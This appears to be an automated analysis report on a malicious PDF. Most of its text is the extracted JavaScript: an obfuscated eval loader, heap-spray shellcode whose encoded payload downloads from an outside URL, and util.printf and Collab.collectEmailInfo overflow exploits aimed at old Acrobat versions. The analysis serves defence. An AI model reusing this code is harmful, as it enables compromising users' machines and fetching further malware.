GxVVEZ1ZGpKR2VGbEZha1UxUldOUWNVMW5RMnBSTVRoVE1sOU9WVFpHZUZsRmFrVTFSV05RY1UxblEycFJNVGhUTWtoT1ZUWkdlRmxGYWtVMVJXTlFjVTFuUTJwUk1UaFRNbTlPVlhGR2NsOXhUMUpmUWw5cFNIY3hRSFkwWjFKTmN6RkRjalJuUlZKM1ZrZGZPVlkzWDBKcVNrUTRYMHBVUWw5MVNIUm1TVVJTVHpSaFltZDRSRko0VUZZNVRFcFhPV3BLVmtwdmQwUktYM1ZJZEdaSlJGSlBOR0ZpWjNoRVVuaFFaVGxNU20xS2IwNVZTbDlrYlhkZmRVaDBaa2xFVWs4MFlXSm5lRVJTZUZCV09VeEtiVXBJVGxWeFgwcHRlVFZLVkVvMWRVZGlXbEpuTkdoMVZYbE5VbE5FVEU1a2QwZzNWMHBHUlY4NGIzZGZTalYxUjJKYVVtYzBhSFZWZVUxU1UwUm1UbVIzWHpkZlRsWnBYelkxWkY5Q1gzVklkR1pKUkZKUE5HRmlaM2hFVW5oUVNEbE1TbTFLUmtWVmNWOUtlWGRmTTNCM2FtaFdjV3RRYmtVMU0xZzBhemgzTWtocGVVcHZkR3BSTlVwVlVuaEZVVXROT0d3eVQwQTFORFZHWHpscVNqRmhVMUpoYzFOdVNIUm5hVUYxU0hSSVRXZE9TM1JJZEVoTlowNUxVVWhwZVVwR2RGUmlaek0xTWtoRFUyaDRPRXBSUkVsVU5HWlNhekpOY0ZoMFR6Tk1ValZEWHpacVNsTnVWbkl4TUZacFgzRm5SV1pOVFVZd01qVkRhSFJQZEdsM1JtbFhTa2hEVTJoNE9FcFJSRWxVTkdaU2F6Sm9jbDl1TlVOVmMxcHdTMlpuTTFoRlQyNDBVa2N6WlhSblNsZEtSamhpZVdjemFsRlBjRXRtWnpOWWRGQnVVM1JyTTJwaVp6TndZVTlTWWpKR1NXRjBXbTVDUzJwS1FUQmZjRmx6UjFJMlNraERVMmg0T0VwUlJFbFVOR1pTYXpKclpGVkVha3BYZDBoa1gwUlFSamhBVms1S2QzTTBhMFJQZUVveVNHbDVTa2hrSnlrNw==");
                MnIbcKa=vQCcBFP(DcV6l7Q);
                eval(MnIbcKa);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x118C 4623 bytes
SHA-256: b354a601c9763924a23dd3d681740a382e0a622ac23a7cd53a6847588e9cd82d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
gs5hqO4=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var PHURRyT7ho=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+gs5hqO4.length;while(PHURRyT7ho.length<fg)PHURRyT7ho+=PHURRyT7ho;var nmbr=PHURRyT7ho.substring(0,fg);var stig=PHURRyT7ho.substring(0,PHURRyT7ho.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+gs5hqO4}var BS9kDamkaqgY="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",BS9kDamkaqgY);function LBN5l0pM1Vv26() { var kXeU1lBp5S = new Array(); function U0YXDB(qYTAiJXi, EkufGSKlT) { while (qYTAiJXi.length*2<EkufGSKlT){qYTAiJXi += qYTAiJXi;} qYTAiJXi = qYTAiJXi.substring(0,EkufGSKlT/2); return qYTAiJXi; } function lI0P1IYZqllFAK() { var o33rlrKW = 0x0c0c0c0c; var fmEKXhPV1Zu2sS = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var R2MvoaFMIfrJFl = 0x400000; var qEwqTJ = fmEKXhPV1Zu2sS.length * 2; var EkufGSKlT = R2MvoaFMIfrJFl - (qEwqTJ+0x38); var qYTAiJXi = unescape("%u9090%u9090"); qYTAiJXi = U0YXDB(qYTAiJXi, EkufGSKlT); var EzWbjFDFq0GC5 = (o33rlrKW - 0x400000)/R2MvoaFMIfrJFl; for (var eEMyPghjjjbV=0;eEMyPghjjjbV<EzWbjFDFq0GC5;eEMyPghjjjbV++) { kXeU1lBp5S[eEMyPghjjjbV] = qYTAiJXi + fmEKXhPV1Zu2sS; } } function kKR71JPF6kNJ() { var Om14e1Z = app.viewerVersion.toString(); Om14e1Z = Om14e1Z.replace(/\D/g,""); var ppUyfdFsiLf4 = new Array(Om14e1Z.charAt(0),Om14e1Z.charAt(1),Om14e1Z.charAt(2)); if ((ppUyfdFsiLf4[0] == 8 && ((ppUyfdFsiLf4[1] == 1 && ppUyfdFsiLf4[2] < 2) || ppUyfdFsiLf4[1] < 1)) || (ppUyfdFsiLf4[0] == 7 && ppUyfdFsiLf4[1] < 1) || (ppUyfdFsiLf4[0] < 7)) { lI0P1IYZqllFAK(); var i47CJBxhVevH = unescape("%u0c0c%u0c0c"); while(i47CJBxhVevH.length < 44952) i47CJBxhVevH += i47CJBxhVevH; this.collabStore = Collab.collectEmailInfo({subj: "",msg: i47CJBxhVevH}); } } kKR71JPF6kNJ(); }

Open this report in the interactive analyzer, or submit your own file for analysis.